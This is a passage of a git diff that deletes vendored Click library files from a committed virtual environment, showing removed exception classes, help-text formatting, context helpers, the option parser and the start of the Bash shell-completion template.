- self.param = param - self.param_hint = param_hint - - def format_message(self) -> str: - if self.param_hint is not None: - param_hint = self.param_hint - elif self.param is not None: - param_hint = self.param.get_error_hint(self.ctx) - else: - return _("Invalid value: {message}").format(message=self.message) - - return _("Invalid value for {param_hint}: {message}").format( - param_hint=_join_param_hints(param_hint), message=self.message - ) - - -class MissingParameter(BadParameter): - """Raised if click required an option or argument but it was not - provided when invoking the script. - - .. versionadded:: 4.0 - - :param param_type: a string that indicates the type of the parameter. - The default is to inherit the parameter type from - the given `param`. Valid values are ``'parameter'``, - ``'option'`` or ``'argument'``. - """ - - param_type: t.Final[str | None] - - def __init__( - self, - message: str | None = None, - ctx: Context | None = None, - param: Parameter | None = None, - param_hint: cabc.Sequence[str] | str | None = None, - param_type: str | None = None, - ) -> None: - super().__init__(message or "", ctx, param, param_hint) - self.param_type = param_type - - def format_message(self) -> str: - if self.param_hint is not None: - param_hint: cabc.Sequence[str] | str | None = self.param_hint - elif self.param is not None: - param_hint = self.param.get_error_hint(self.ctx) - else: - param_hint = None - - param_hint = _join_param_hints(param_hint) - param_hint = f" {param_hint}" if param_hint else "" - - param_type = self.param_type - if param_type is None and self.param is not None: - param_type = self.param.param_type_name - - msg = self.message - if self.param is not None: - msg_extra = self.param.type.get_missing_message( - param=self.param, ctx=self.ctx - ) - if msg_extra: - if msg: - msg += f". {msg_extra}" - else: - msg = msg_extra - - msg = f" {msg}" if msg else "" - - # Translate param_type for known types. - if param_type == "argument": - missing = _("Missing argument") - elif param_type == "option": - missing = _("Missing option") - elif param_type == "parameter": - missing = _("Missing parameter") - else: - missing = _("Missing {param_type}").format(param_type=param_type) - - return f"{missing}{param_hint}.{msg}" - - def __str__(self) -> str: - if not self.message: - param_name = self.param.name if self.param else None - return _("Missing parameter: {param_name}").format(param_name=param_name) - else: - return self.message - - -class NoSuchOption(UsageError): - """Raised if Click attempted to handle an option that does not exist. - - .. versionadded:: 4.0 - """ - - option_name: t.Final[str] - possibilities: t.Final[list[str] | None] - - def __init__( - self, - option_name: str, - message: str | None = None, - possibilities: cabc.Iterable[str] | None = None, - ctx: Context | None = None, - ) -> None: - if message is None: - message = _("No such option {name!r}.").format(name=option_name) - - super().__init__(message, ctx) - self.option_name = option_name - - if possibilities: - from difflib import get_close_matches - - possibilities_ = get_close_matches(option_name, possibilities) - else: - possibilities_ = None - self.possibilities = possibilities_ - - def format_message(self) -> str: - if not self.possibilities: - return self.message - return f"{self.message} {_format_possibilities(self.possibilities)}" - - -class NoSuchCommand(UsageError): - """Raised if Click attempted to handle a command that does not exist. - - .. versionadded:: 8.4.0 - """ - - command_name: t.Final[str] - possibilities: t.Final[list[str] | None] - - def __init__( - self, - command_name: str, - message: str | None = None, - possibilities: cabc.Iterable[str] | None = None, - ctx: Context | None = None, - ) -> None: - if message is None: - message = _("No such command {name!r}.").format(name=command_name) - - super().__init__(message, ctx) - self.command_name = command_name - - if possibilities: - from difflib import get_close_matches - - possibilities_ = get_close_matches(command_name, possibilities) - else: - possibilities_ = None - self.possibilities = possibilities_ - - def format_message(self) -> str: - if not self.possibilities: - return self.message - return f"{self.message} {_format_possibilities(self.possibilities)}" - - -class BadOptionUsage(UsageError): - """Raised if an option is generally supplied but the use of the option - was incorrect. This is for instance raised if the number of arguments - for an option is not correct. - - .. versionadded:: 4.0 - - :param option_name: the name of the option being used incorrectly. - """ - - option_name: t.Final[str] - - def __init__( - self, option_name: str, message: str, ctx: Context | None = None - ) -> None: - super().__init__(message, ctx) - self.option_name = option_name - - -class BadArgumentUsage(UsageError): - """Raised if an argument is generally supplied but the use of the argument - was incorrect. This is for instance raised if the number of values - for an argument is not correct. - - .. versionadded:: 6.0 - """ - - -class NoArgsIsHelpError(UsageError): - ctx: Context - - def __init__(self, ctx: Context) -> None: - super().__init__(ctx.get_help(), ctx=ctx) - - def show(self, file: t.IO[t.Any] | None = None) -> None: - echo(self.format_message(), file=file, err=True, color=self.ctx.color) - - -class FileError(ClickException): - """Raised if a file cannot be opened.""" - - ui_filename: t.Final[str] - filename: t.Final[str] - - def __init__(self, filename: str, hint: str | None = None) -> None: - if hint is None: - hint = _("unknown error") - - super().__init__(hint) - self.ui_filename = format_filename(filename) - self.filename = filename - - def format_message(self) -> str: - return _("Could not open file {filename!r}: {message}").format( - filename=self.ui_filename, message=self.message - ) - - -class Abort(RuntimeError): - """An internal signalling exception that signals Click to abort.""" - - -class Exit(RuntimeError): - """An exception that indicates that the application should exit with some - status code. - - :param code: the status code to exit with. - """ - - __slots__ = ("exit_code",) - - exit_code: t.Final[int] - - def __init__(self, code: int = 0) -> None: - self.exit_code = code diff --git a/venv/Lib/site-packages/click/formatting.py b/venv/Lib/site-packages/click/formatting.py deleted file mode 100644 index c4aa2de571a1eb17bfeb1853e315d28bc968e74c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/formatting.py +++ /dev/null @@ -1,320 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -from contextlib import contextmanager -from gettext import gettext as _ - -from ._compat import term_len -from .parser import _split_opt - -# Can force a width. This is used by the test system -FORCED_WIDTH: int | None = None - - -def measure_table(rows: cabc.Iterable[tuple[str, str]]) -> tuple[int, ...]: - widths: dict[int, int] = {} - - for row in rows: - for idx, col in enumerate(row): - widths[idx] = max(widths.get(idx, 0), term_len(col)) - - return tuple(y for x, y in sorted(widths.items())) - - -def iter_rows( - rows: cabc.Iterable[tuple[str, str]], col_count: int -) -> cabc.Iterator[tuple[str, ...]]: - for row in rows: - yield row + ("",) * (col_count - len(row)) - - -def wrap_text( - text: str, - width: int = 78, - initial_indent: str = "", - subsequent_indent: str = "", - preserve_paragraphs: bool = False, -) -> str: - """A helper function that intelligently wraps text. By default, it - assumes that it operates on a single paragraph of text but if the - `preserve_paragraphs` parameter is provided it will intelligently - handle paragraphs (defined by two empty lines). - - If paragraphs are handled, a paragraph can be prefixed with an empty - line containing the ``\\b`` character (``\\x08``) to indicate that - no rewrapping should happen in that block. - - :param text: the text that should be rewrapped. - :param width: the maximum width for the text. - :param initial_indent: the initial indent that should be placed on the - first line as a string. - :param subsequent_indent: the indent string that should be placed on - each consecutive line. - :param preserve_paragraphs: if this flag is set then the wrapping will - intelligently handle paragraphs. - - .. versionchanged:: 8.4.0 - Width is measured in visible characters. ANSI escape sequences in - ``text``, ``initial_indent``, or ``subsequent_indent`` no longer - count toward the width budget, so styled input wraps based on what - the user sees instead of raw byte length. - """ - from ._textwrap import TextWrapper - - text = text.expandtabs() - wrapper = TextWrapper( - width, - initial_indent=initial_indent, - subsequent_indent=subsequent_indent, - replace_whitespace=False, - ) - if not preserve_paragraphs: - return wrapper.fill(text) - - p: list[tuple[int, bool, str]] = [] - buf: list[str] = [] - indent = None - - def _flush_par() -> None: - if not buf: - return - if buf[0].strip() == "\b": - p.append((indent or 0, True, "\n".join(buf[1:]))) - else: - p.append((indent or 0, False, " ".join(buf))) - del buf[:] - - for line in text.splitlines(): - if not line: - _flush_par() - indent = None - else: - if indent is None: - orig_len = term_len(line) - line = line.lstrip() - indent = orig_len - term_len(line) - buf.append(line) - _flush_par() - - rv = [] - for indent, raw, text in p: - with wrapper.extra_indent(" " * indent): - if raw: - rv.append(wrapper.indent_only(text)) - else: - rv.append(wrapper.fill(text)) - - return "\n\n".join(rv) - - -class HelpFormatter: - """This class helps with formatting text-based help pages. It's - usually just needed for very special internal cases, but it's also - exposed so that developers can write their own fancy outputs. - - At present, it always writes into memory. - - :param indent_increment: the additional increment for each level. - :param width: the width for the text. This defaults to the terminal - width clamped to a maximum of 78. - """ - - indent_increment: int - width: int - current_indent: int - buffer: list[str] - - def __init__( - self, - indent_increment: int = 2, - width: int | None = None, - max_width: int | None = None, - ) -> None: - self.indent_increment = indent_increment - if max_width is None: - max_width = 80 - if width is None: - import shutil - - width = FORCED_WIDTH - if width is None: - width = max(min(shutil.get_terminal_size().columns, max_width) - 2, 50) - self.width = width - self.current_indent = 0 - self.buffer = [] - - def write(self, string: str) -> None: - """Writes a unicode string into the internal buffer.""" - self.buffer.append(string) - - def indent(self) -> None: - """Increases the indentation.""" - self.current_indent += self.indent_increment - - def dedent(self) -> None: - """Decreases the indentation.""" - self.current_indent -= self.indent_increment - - def write_usage(self, prog: str, args: str = "", prefix: str | None = None) -> None: - """Writes a usage line into the buffer. - - :param prog: the program name. - :param args: whitespace separated list of arguments. - :param prefix: The prefix for the first line. Defaults to - ``"Usage: "``. - """ - if prefix is None: - prefix = "{usage} ".format(usage=_("Usage:")) - - usage_prefix = f"{prefix:>{self.current_indent}}{prog} " - text_width = self.width - self.current_indent - - if not args: - # Without args, the prefix's trailing space and the wrap_text - # call that would normally place args on the line are both - # unnecessary. Emit just the prefix line. - self.write(usage_prefix.rstrip(" ")) - self.write("\n") - return - - if text_width >= (term_len(usage_prefix) + 20): - # The arguments will fit to the right of the prefix. - indent = " " * term_len(usage_prefix) - self.write( - wrap_text( - args, - text_width, - initial_indent=usage_prefix, - subsequent_indent=indent, - ) - ) - else: - # The prefix is too long, put the arguments on the next line. - self.write(usage_prefix) - self.write("\n") - indent = " " * (max(self.current_indent, term_len(prefix)) + 4) - self.write( - wrap_text( - args, text_width, initial_indent=indent, subsequent_indent=indent - ) - ) - - self.write("\n") - - def write_heading(self, heading: str) -> None: - """Writes a heading into the buffer.""" - self.write(f"{'':>{self.current_indent}}{heading}:\n") - - def write_paragraph(self) -> None: - """Writes a paragraph into the buffer.""" - if self.buffer: - self.write("\n") - - def write_text(self, text: str) -> None: - """Writes re-indented text into the buffer. This rewraps and - preserves paragraphs. - """ - indent = " " * self.current_indent - self.write( - wrap_text( - text, - self.width, - initial_indent=indent, - subsequent_indent=indent, - preserve_paragraphs=True, - ) - ) - self.write("\n") - - def write_dl( - self, - rows: cabc.Iterable[tuple[str, str]], - col_max: int = 30, - col_spacing: int = 2, - ) -> None: - """Writes a definition list into the buffer. This is how options - and commands are usually formatted. - - :param rows: a list of two item tuples for the terms and values. - :param col_max: the maximum width of the first column. - :param col_spacing: the number of spaces between the first and - second column. - """ - rows = list(rows) - widths = measure_table(rows) - if len(widths) != 2: - raise TypeError("Expected two columns for definition list") - - first_col = min(widths[0], col_max) + col_spacing - - for first, second in iter_rows(rows, len(widths)): - self.write(f"{'':>{self.current_indent}}{first}") - if not second: - self.write("\n") - continue - if term_len(first) <= first_col - col_spacing: - self.write(" " * (first_col - term_len(first))) - else: - self.write("\n") - self.write(" " * (first_col + self.current_indent)) - - text_width = max(self.width - first_col - 2, 10) - wrapped_text = wrap_text(second, text_width, preserve_paragraphs=True) - lines = wrapped_text.splitlines() - - if lines: - self.write(f"{lines[0]}\n") - - for line in lines[1:]: - self.write(f"{'':>{first_col + self.current_indent}}{line}\n") - else: - self.write("\n") - - @contextmanager - def section(self, name: str) -> cabc.Generator[None]: - """Helpful context manager that writes a paragraph, a heading, - and the indents. - - :param name: the section name that is written as heading. - """ - self.write_paragraph() - self.write_heading(name) - self.indent() - try: - yield - finally: - self.dedent() - - @contextmanager - def indentation(self) -> cabc.Generator[None]: - """A context manager that increases the indentation.""" - self.indent() - try: - yield - finally: - self.dedent() - - def getvalue(self) -> str: - """Returns the buffer contents.""" - return "".join(self.buffer) - - -def join_options(options: cabc.Iterable[str]) -> tuple[str, bool]: - """Given a list of option strings this joins them in the most appropriate - way and returns them in the form ``(formatted_string, - any_prefix_is_slash)`` where the second item in the tuple is a flag that - indicates if any of the option prefixes was a slash. - """ - rv = [] - any_prefix_is_slash = False - - for opt in options: - prefix = _split_opt(opt)[0] - - if prefix == "/": - any_prefix_is_slash = True - - rv.append((len(prefix), opt)) - - rv.sort(key=lambda x: x[0]) - return ", ".join(x[1] for x in rv), any_prefix_is_slash diff --git a/venv/Lib/site-packages/click/globals.py b/venv/Lib/site-packages/click/globals.py deleted file mode 100644 index a2f91723d21cefdf658be327174e1f8ccdc20fcd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/globals.py +++ /dev/null @@ -1,67 +0,0 @@ -from __future__ import annotations - -import typing as t -from threading import local - -if t.TYPE_CHECKING: - from .core import Context - -_local = local() - - -@t.overload -def get_current_context(silent: t.Literal[False] = False) -> Context: ... - - -@t.overload -def get_current_context(silent: bool = ...) -> Context | None: ... - - -def get_current_context(silent: bool = False) -> Context | None: - """Returns the current click context. This can be used as a way to - access the current context object from anywhere. This is a more implicit - alternative to the :func:`pass_context` decorator. This function is - primarily useful for helpers such as :func:`echo` which might be - interested in changing its behavior based on the current context. - - To push the current context, :meth:`Context.scope` can be used. - - .. versionadded:: 5.0 - - :param silent: if set to `True` the return value is `None` if no context - is available. The default behavior is to raise a - :exc:`RuntimeError`. - """ - try: - return t.cast("Context", _local.stack[-1]) - except (AttributeError, IndexError) as e: - if not silent: - raise RuntimeError("There is no active click context.") from e - - return None - - -def push_context(ctx: Context) -> None: - """Pushes a new context to the current stack.""" - _local.__dict__.setdefault("stack", []).append(ctx) - - -def pop_context() -> None: - """Removes the top level from the stack.""" - _local.stack.pop() - - -def resolve_color_default(color: bool | None = None) -> bool | None: - """Internal helper to get the default value of the color flag. If a - value is passed it's returned unchanged, otherwise it's looked up from - the current context. - """ - if color is not None: - return color - - ctx = get_current_context(silent=True) - - if ctx is not None: - return ctx.color - - return None diff --git a/venv/Lib/site-packages/click/parser.py b/venv/Lib/site-packages/click/parser.py deleted file mode 100644 index 4fcbf7caa83a474cee2d3ea25da56b0399dd893a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/parser.py +++ /dev/null @@ -1,533 +0,0 @@ -""" -This module started out as largely a copy paste from the stdlib's -optparse module with the features removed that we do not need from -optparse because we implement them in Click on a higher level (for -instance type handling, help formatting and a lot more). - -The plan is to remove more and more from here over time. - -The reason this is a different module and not optparse from the stdlib -is that there are differences in 2.x and 3.x about the error messages -generated and optparse in the stdlib uses gettext for no good reason -and might cause us issues. - -Click uses parts of optparse written by Gregory P. Ward and maintained -by the Python Software Foundation. This is limited to code in parser.py. - -Copyright 2001-2006 Gregory P. Ward. All rights reserved. -Copyright 2002-2006 Python Software Foundation. All rights reserved. -""" - -# This code uses parts of optparse written by Gregory P. Ward and -# maintained by the Python Software Foundation. -# Copyright 2001-2006 Gregory P. Ward -# Copyright 2002-2006 Python Software Foundation -from __future__ import annotations - -import collections.abc as cabc -import typing as t -from collections import deque -from gettext import gettext as _ -from gettext import ngettext - -from ._utils import FLAG_NEEDS_VALUE -from ._utils import UNSET -from .exceptions import BadArgumentUsage -from .exceptions import BadOptionUsage -from .exceptions import NoSuchOption -from .exceptions import UsageError - -if t.TYPE_CHECKING: - from ._utils import T_FLAG_NEEDS_VALUE - from ._utils import T_UNSET - from .core import Argument as CoreArgument - from .core import Context - from .core import Option as CoreOption - from .core import Parameter as CoreParameter - -V = t.TypeVar("V") - - -def _unpack_args( - args: cabc.Sequence[str], nargs_spec: cabc.Sequence[int] -) -> tuple[cabc.Sequence[str | cabc.Sequence[str | T_UNSET] | T_UNSET], list[str]]: - """Given an iterable of arguments and an iterable of nargs specifications, - it returns a tuple with all the unpacked arguments at the first index - and all remaining arguments as the second. - - The nargs specification is the number of arguments that should be consumed - or `-1` to indicate that this position should eat up all the remainders. - - Missing items are filled with ``UNSET``. - """ - args = deque(args) - nargs_spec = deque(nargs_spec) - rv: list[str | tuple[str | T_UNSET, ...] | T_UNSET] = [] - spos: int | None = None - - def _fetch(c: deque[str]) -> str | T_UNSET: - try: - if spos is None: - return c.popleft() - else: - return c.pop() - except IndexError: - return UNSET - - while nargs_spec: - if spos is None: - nargs = nargs_spec.popleft() - else: - nargs = nargs_spec.pop() - - if nargs == 1: - rv.append(_fetch(args)) - elif nargs > 1: - x: list[str | T_UNSET] = [_fetch(args) for _ in range(nargs)] - - # If we're reversed, we're pulling in the arguments in reverse, - # so we need to turn them around. - if spos is not None: - x.reverse() - - rv.append(tuple(x)) - elif nargs < 0: - if spos is not None: - raise TypeError("Cannot have two nargs < 0") - - spos = len(rv) - rv.append(UNSET) - - # spos is the position of the wildcard (star). If it's not `None`, - # we fill it with the remainder. - if spos is not None: - rv[spos] = tuple(args) - args = [] - rv[spos + 1 :] = reversed(rv[spos + 1 :]) - - return tuple(rv), list(args) - - -def _split_opt(opt: str) -> tuple[str, str]: - first = opt[:1] - if first.isalnum(): - return "", opt - if opt[1:2] == first: - return opt[:2], opt[2:] - return first, opt[1:] - - -def _normalize_opt(opt: str, ctx: Context | None) -> str: - if ctx is None or ctx.token_normalize_func is None: - return opt - prefix, opt = _split_opt(opt) - return f"{prefix}{ctx.token_normalize_func(opt)}" - - -class _Option: - def __init__( - self, - obj: CoreOption, - opts: cabc.Sequence[str], - dest: str | None, - action: str | None = None, - nargs: int = 1, - const: t.Any | None = None, - ): - self._short_opts = [] - self._long_opts = [] - self.prefixes: set[str] = set() - - for opt in opts: - prefix, value = _split_opt(opt) - if not prefix: - raise ValueError( - _("Invalid start character for option ({option})").format( - option=opt - ) - ) - self.prefixes.add(prefix[0]) - if len(prefix) == 1 and len(value) == 1: - self._short_opts.append(opt) - else: - self._long_opts.append(opt) - self.prefixes.add(prefix) - - if action is None: - action = "store" - - self.dest = dest - self.action = action - self.nargs = nargs - self.const = const - self.obj = obj - - @property - def takes_value(self) -> bool: - return self.action in ("store", "append") - - def process(self, value: t.Any, state: _ParsingState) -> None: - if self.action == "store": - state.opts[self.dest] = value # type: ignore - elif self.action == "store_const": - state.opts[self.dest] = self.const # type: ignore - elif self.action == "append": - state.opts.setdefault(self.dest, []).append(value) # type: ignore - elif self.action == "append_const": - state.opts.setdefault(self.dest, []).append(self.const) # type: ignore - elif self.action == "count": - state.opts[self.dest] = state.opts.get(self.dest, 0) + 1 # type: ignore - else: - raise ValueError(f"unknown action '{self.action}'") - state.order.append(self.obj) - - -class _Argument: - def __init__(self, obj: CoreArgument, dest: str | None, nargs: int = 1): - self.dest = dest - self.nargs = nargs - self.obj = obj - - def process( - self, - value: str | cabc.Sequence[str | T_UNSET] | T_UNSET, - state: _ParsingState, - ) -> None: - if self.nargs > 1: - assert isinstance(value, cabc.Sequence) - holes = sum(x is UNSET for x in value) - if holes == len(value): - value = UNSET - elif holes != 0: - raise BadArgumentUsage( - _("Argument {name!r} takes {nargs} values.").format( - name=self.dest, nargs=self.nargs - ) - ) - - # We failed to collect any argument value so we consider the argument as unset. - if value == (): - value = UNSET - - state.opts[self.dest] = value # type: ignore - state.order.append(self.obj) - - -class _ParsingState: - def __init__(self, rargs: list[str]) -> None: - self.opts: dict[str, t.Any] = {} - self.largs: list[str] = [] - self.rargs = rargs - self.order: list[CoreParameter] = [] - - -class _OptionParser: - """The option parser is an internal class that is ultimately used to - parse options and arguments. It's modelled after optparse and brings - a similar but vastly simplified API. It should generally not be used - directly as the high level Click classes wrap it for you. - - It's not nearly as extensible as optparse or argparse as it does not - implement features that are implemented on a higher level (such as - types or defaults). - - :param ctx: optionally the :class:`~click.Context` where this parser - should go with. - - .. deprecated:: 8.2 - Will be removed in Click 9.0. - """ - - def __init__(self, ctx: Context | None = None) -> None: - #: The :class:`~click.Context` for this parser. This might be - #: `None` for some advanced use cases. - self.ctx = ctx - #: This controls how the parser deals with interspersed arguments. - #: If this is set to `False`, the parser will stop on the first - #: non-option. Click uses this to implement nested subcommands - #: safely. - self.allow_interspersed_args: bool = True - #: This tells the parser how to deal with unknown options. By - #: default it will error out (which is sensible), but there is a - #: second mode where it will ignore it and continue processing - #: after shifting all the unknown options into the resulting args. - self.ignore_unknown_options: bool = False - - if ctx is not None: - self.allow_interspersed_args = ctx.allow_interspersed_args - self.ignore_unknown_options = ctx.ignore_unknown_options - - self._short_opt: dict[str, _Option] = {} - self._long_opt: dict[str, _Option] = {} - self._opt_prefixes = {"-", "--"} - self._args: list[_Argument] = [] - - def add_option( - self, - obj: CoreOption, - opts: cabc.Sequence[str], - dest: str | None, - action: str | None = None, - nargs: int = 1, - const: t.Any | None = None, - ) -> None: - """Adds a new option named `dest` to the parser. The destination - is not inferred (unlike with optparse) and needs to be explicitly - provided. Action can be any of ``store``, ``store_const``, - ``append``, ``append_const`` or ``count``. - - The `obj` can be used to identify the option in the order list - that is returned from the parser. - """ - opts = [_normalize_opt(opt, self.ctx) for opt in opts] - option = _Option(obj, opts, dest, action=action, nargs=nargs, const=const) - self._opt_prefixes.update(option.prefixes) - for opt in option._short_opts: - self._short_opt[opt] = option - for opt in option._long_opts: - self._long_opt[opt] = option - - def add_argument(self, obj: CoreArgument, dest: str | None, nargs: int = 1) -> None: - """Adds a positional argument named `dest` to the parser. - - The `obj` can be used to identify the option in the order list - that is returned from the parser. - """ - self._args.append(_Argument(obj, dest=dest, nargs=nargs)) - - def parse_args( - self, args: list[str] - ) -> tuple[dict[str, t.Any], list[str], list[CoreParameter]]: - """Parses positional arguments and returns ``(values, args, order)`` - for the parsed options and arguments as well as the leftover - arguments if there are any. The order is a list of objects as they - appear on the command line. If arguments appear multiple times they - will be memorized multiple times as well. - """ - state = _ParsingState(args) - try: - self._process_args_for_options(state) - self._process_args_for_args(state) - except UsageError: - if self.ctx is None or not self.ctx.resilient_parsing: - raise - return state.opts, state.largs, state.order - - def _process_args_for_args(self, state: _ParsingState) -> None: - pargs, args = _unpack_args( - state.largs + state.rargs, [x.nargs for x in self._args] - ) - - for idx, arg in enumerate(self._args): - arg.process(pargs[idx], state) - - state.largs = args - state.rargs = [] - - def _process_args_for_options(self, state: _ParsingState) -> None: - while state.rargs: - arg = state.rargs.pop(0) - arglen = len(arg) - # Double dashes always handled explicitly regardless of what - # prefixes are valid. - if arg == "--": - return - elif arg[:1] in self._opt_prefixes and arglen > 1: - self._process_opts(arg, state) - elif self.allow_interspersed_args: - state.largs.append(arg) - else: - state.rargs.insert(0, arg) - return - - # Say this is the original argument list: - # [arg0, arg1, ..., arg(i-1), arg(i), arg(i+1), ..., arg(N-1)] - # ^ - # (we are about to process arg(i)). - # - # Then rargs is [arg(i), ..., arg(N-1)] and largs is a *subset* of - # [arg0, ..., arg(i-1)] (any options and their arguments will have - # been removed from largs). - # - # The while loop will usually consume 1 or more arguments per pass. - # If it consumes 1 (eg. arg is an option that takes no arguments), - # then after _process_arg() is done the situation is: - # - # largs = subset of [arg0, ..., arg(i)] - # rargs = [arg(i+1), ..., arg(N-1)] - # - # If allow_interspersed_args is false, largs will always be - # *empty* -- still a subset of [arg0, ..., arg(i-1)], but - # not a very interesting subset! - - def _match_long_opt( - self, opt: str, explicit_value: str | None, state: _ParsingState - ) -> None: - if opt not in self._long_opt: - raise NoSuchOption(opt, possibilities=self._long_opt, ctx=self.ctx) - - option = self._long_opt[opt] - if option.takes_value: - # At this point it's safe to modify rargs by injecting the - # explicit value, because no exception is raised in this - # branch. This means that the inserted value will be fully - # consumed. - if explicit_value is not None: - state.rargs.insert(0, explicit_value) - - value = self._get_value_from_state(opt, option, state) - - elif explicit_value is not None: - raise BadOptionUsage( - opt, _("Option {name!r} does not take a value.").format(name=opt) - ) - - else: - value = UNSET - - option.process(value, state) - - def _match_short_opt(self, arg: str, state: _ParsingState) -> None: - stop = False - i = 1 - prefix = arg[0] - unknown_options = [] - - for ch in arg[1:]: - opt = _normalize_opt(f"{prefix}{ch}", self.ctx) - option = self._short_opt.get(opt) - i += 1 - - if not option: - if self.ignore_unknown_options: - unknown_options.append(ch) - continue - raise NoSuchOption(opt, ctx=self.ctx) - if option.takes_value: - # Any characters left in arg? Pretend they're the - # next arg, and stop consuming characters of arg. - if i < len(arg): - state.rargs.insert(0, arg[i:]) - stop = True - - value = self._get_value_from_state(opt, option, state) - - else: - value = UNSET - - option.process(value, state) - - if stop: - break - - # If we got any unknown options we recombine the string of the - # remaining options and re-attach the prefix, then report that - # to the state as new large. This way there is basic combinatorics - # that can be achieved while still ignoring unknown arguments. - if self.ignore_unknown_options and unknown_options: - state.largs.append(f"{prefix}{''.join(unknown_options)}") - - def _get_value_from_state( - self, option_name: str, option: _Option, state: _ParsingState - ) -> str | cabc.Sequence[str] | T_UNSET | T_FLAG_NEEDS_VALUE: - nargs = option.nargs - - value: str | cabc.Sequence[str] | T_UNSET | T_FLAG_NEEDS_VALUE - - if len(state.rargs) < nargs: - if option.obj._flag_needs_value: - # Option allows omitting the value. - value = FLAG_NEEDS_VALUE - else: - raise BadOptionUsage( - option_name, - ngettext( - "Option {name!r} requires an argument.", - "Option {name!r} requires {nargs} arguments.", - nargs, - ).format(name=option_name, nargs=nargs), - ) - elif nargs == 1: - next_rarg = state.rargs[0] - - if ( - option.obj._flag_needs_value - and isinstance(next_rarg, str) - and next_rarg[:1] in self._opt_prefixes - and len(next_rarg) > 1 - ): - # The next arg looks like the start of an option, don't - # use it as the value if omitting the value is allowed. - value = FLAG_NEEDS_VALUE - else: - value = state.rargs.pop(0) - else: - value = tuple(state.rargs[:nargs]) - del state.rargs[:nargs] - - return value - - def _process_opts(self, arg: str, state: _ParsingState) -> None: - explicit_value = None - # Long option handling happens in two parts. The first part is - # supporting explicitly attached values. In any case, we will try - # to long match the option first. - if "=" in arg: - long_opt, explicit_value = arg.split("=", 1) - else: - long_opt = arg - norm_long_opt = _normalize_opt(long_opt, self.ctx) - - # At this point we will match the (assumed) long option through - # the long option matching code. Note that this allows options - # like "-foo" to be matched as long options. - try: - self._match_long_opt(norm_long_opt, explicit_value, state) - except NoSuchOption: - # At this point the long option matching failed, and we need - # to try with short options. However there is a special rule - # which says, that if we have a two character options prefix - # (applies to "--foo" for instance), we do not dispatch to the - # short option code and will instead raise the no option - # error. - if arg[:2] not in self._opt_prefixes: - self._match_short_opt(arg, state) - return - - if not self.ignore_unknown_options: - raise - - state.largs.append(arg) - - -def __getattr__(name: str) -> object: - import warnings - - if name in { - "OptionParser", - "Argument", - "Option", - "split_opt", - "normalize_opt", - "ParsingState", - }: - warnings.warn( - f"'parser.{name}' is deprecated and will be removed in Click 9.0." - " The old parser is available in 'optparse'.", - DeprecationWarning, - stacklevel=2, - ) - return globals()[f"_{name}"] - - if name == "split_arg_string": - from .shell_completion import split_arg_string - - warnings.warn( - "Importing 'parser.split_arg_string' is deprecated, it will only be" - " available in 'shell_completion' in Click 9.0.", - DeprecationWarning, - stacklevel=2, - ) - return split_arg_string - - raise AttributeError(name) diff --git a/venv/Lib/site-packages/click/py.typed b/venv/Lib/site-packages/click/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/click/shell_completion.py b/venv/Lib/site-packages/click/shell_completion.py deleted file mode 100644 index 468ee7720d934396d0a309067d800ea819af7da2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/shell_completion.py +++ /dev/null @@ -1,705 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import os -import re -import typing as t -from gettext import gettext as _ - -from .core import Argument -from .core import Command -from .core import Context -from .core import Group -from .core import Option -from .core import Parameter -from .core import ParameterSource -from .utils import echo - - -def shell_complete( - cli: Command, - ctx_args: cabc.MutableMapping[str, t.Any], - prog_name: str, - complete_var: str, - instruction: str, -) -> t.Literal[0, 1]: - """Perform shell completion for the given CLI program. - - :param cli: Command being called. - :param ctx_args: Extra arguments to pass to - ``cli.make_context``. - :param prog_name: Name of the executable in the shell. - :param complete_var: Name of the environment variable that holds - the completion instruction. - :param instruction: Value of ``complete_var`` with the completion - instruction and shell, in the form ``instruction_shell``. - :return: Status code to exit with. - """ - shell, _, instruction = instruction.partition("_") - comp_cls = get_completion_class(shell) - - if comp_cls is None: - return 1 - - comp = comp_cls(cli, ctx_args, prog_name, complete_var) - - # Write bytes, otherwise Windows text stdout translates LF to CRLF and breaks. - if instruction == "source": - echo(comp.source().encode(), nl=False) - return 0 - - if instruction == "complete": - echo(comp.complete().encode()) - return 0 - - return 1 - - -if t.TYPE_CHECKING: - from typing_extensions import TypeVar - - # `Any` is used as default for backwards compatibility (instead of e.g. `str`) - _ValueT_co = TypeVar("_ValueT_co", covariant=True, default=t.Any) -else: - _ValueT_co = t.TypeVar("_ValueT_co", covariant=True) - - -class CompletionItem(t.Generic[_ValueT_co]): - """Represents a completion value and metadata about the value. The - default metadata is ``type`` to indicate special shell handling, - and ``help`` if a shell supports showing a help string next to the - value. - - Arbitrary parameters can be passed when creating the object, and - accessed using ``item.attr``. If an attribute wasn't passed, - accessing it returns ``None``. - - :param value: The completion suggestion. - :param type: Tells the shell script to provide special completion - support for the type. Click uses ``"dir"`` and ``"file"``. - :param help: String shown next to the value if supported. - :param kwargs: Arbitrary metadata. The built-in implementations - don't use this, but custom type completions paired with custom - shell support could use it. - """ - - __slots__ = ("value", "type", "help", "_info") - - def __init__( - self, - value: _ValueT_co, - type: str = "plain", - help: str | None = None, - **kwargs: t.Any, - ) -> None: - self.value: _ValueT_co = value - self.type: str = type - self.help: str | None = help - self._info = kwargs - - def __getattr__(self, name: str) -> t.Any: - return self._info.get(name) - - -# Only Bash >= 4.4 has the nosort option. -_SOURCE_BASH = """\ -%(complete_func)s() { - local IFS=$'\\n' - local response - - response=$(env COMP_WORDS="${COMP_WORDS[*]}" COMP_CWORD=$COMP_CWORD \ -%(complete_var)s=bash_complete $1) - - for completion in $response; do - IFS=',' read type value <<< "$completion" - - if [[ $type == 'dir' ]]; then - COMPREPLY=() - compopt -o dirnames - elif [[ $type == 'file' ]]; then - COMPREPLY=() - compopt -o default - elif [[ $type == 'plain' ]]; then - COMPREPLY+=($value) - fi - done - - return 0 -} - -%(complete_func)s_setup() { - complete -o nosort -F %(complete_func)s %(prog_name)s -} - -%(complete_func)s_setup; -""" - -# See ZshComplete.format_completion below, and issue #2703, before -# changing this script. -# -# (TL;DR: _describe is picky about the format, but this Zsh script snippet -# is already widely deployed. So freeze this script, and use clever-ish -# handling of colons in 